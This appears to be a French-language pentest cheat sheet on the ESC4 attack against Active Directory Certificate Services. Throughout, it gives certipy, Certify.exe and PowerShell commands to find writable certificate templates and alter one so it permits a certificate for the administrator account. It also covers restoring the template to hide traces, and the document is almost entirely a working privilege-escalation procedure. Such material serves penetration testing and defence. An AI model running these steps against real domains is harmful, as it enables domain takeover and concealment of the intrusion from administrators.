Description
ESC4 exploite des permissions trop permissives sur les modèles de certificats, permettant à un utilisateur d'écrire ou de modifier un modèle existant pour le rendre vulnérable (par exemple, pour créer une condition ESC1 ou ESC2 artificielle).
Conditions vulnérables
Un modèle de certificat est vulnérable à ESC4 si :
- Permissions d'écriture accordées - L'utilisateur a les droits
WriteProperty,WriteOwner,WriteDacl, ouFullControl - Template modifiable - Le modèle peut être modifié pour devenir exploitable
- Enrollment possible - L'utilisateur peut ensuite utiliser le modèle modifié via les droits
Enroll - Restauration possible - L'attaquant peut potentiellement restaurer la configuration originale pour masquer ses traces
Exploitation depuis linux (certipy)
Enumération des templates vulnérables :
bash
certipy find -u [email protected] -p password -target dc01.domain.local
# Énumération avec sortie JSON pour analyse détaillée des permissions
certipy find -u [email protected] -p password -target dc01.domain.local -json -output vulnerabilities.json
# Recherche spécifique des permissions d'écriture
certipy find -u [email protected] -p password -target dc01.domain.local -vulnerable | grep -A10 -B5 "WriteProperty\|WriteOwner\|WriteDacl"Modification du template pour le rendre exploitable :
bash
# Sauvegarde de la configuration originale
certipy template -u [email protected] -p password -target dc01.domain.local -template 'VulnerableTemplate' -save-old
# Modification du template pour activer ESC1
certipy template -u [email protected] -p password -target dc01.domain.local -template 'VulnerableTemplate' -enable-enrollee-supplies-subjectExploitation du template modifié :
bash
certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'VulnerableTemplate' -upn [email protected]Restauration du template :
bash
certipy template -u [email protected] -p password -target dc01.domain.local -template 'VulnerableTemplate' -configuration saved_config.jsonExploitation depuis windows (certify.exe + PowerShell)
Enumération des templates vulnérables :
powershell
# Énumération des modèles vulnérables
Certify.exe find /vulnerable
# Recherche spécifique des permissions d'écriture
Certify.exe find /vulnerable | findstr "WriteProperty\|WriteOwner\|WriteDacl\|FullControl"Modification du template via PowerShell :
powershell
# Import du module Active Directory
Import-Module ActiveDirectory
# Sauvegarde de la configuration originale
$template = Get-ADObject -Identity "CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Properties *
$template | Export-Clixml -Path "template_backup.xml"
# Modification pour activer ESC1
Set-ADObject -Identity "CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Replace @{'msPKI-Certificate-Name-Flag'=1}Faire la demande de certificat :
powershell
Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:VulnerableTemplate /subject:"CN=administrator,CN=Users,DC=domain,DC=local"Restauration du template :
powershell
$originalTemplate = Import-Clixml -Path "template_backup.xml"
Set-ADObject -Identity "CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Replace @{'msPKI-Certificate-Name-Flag'=$originalTemplate.'msPKI-Certificate-Name-Flag'}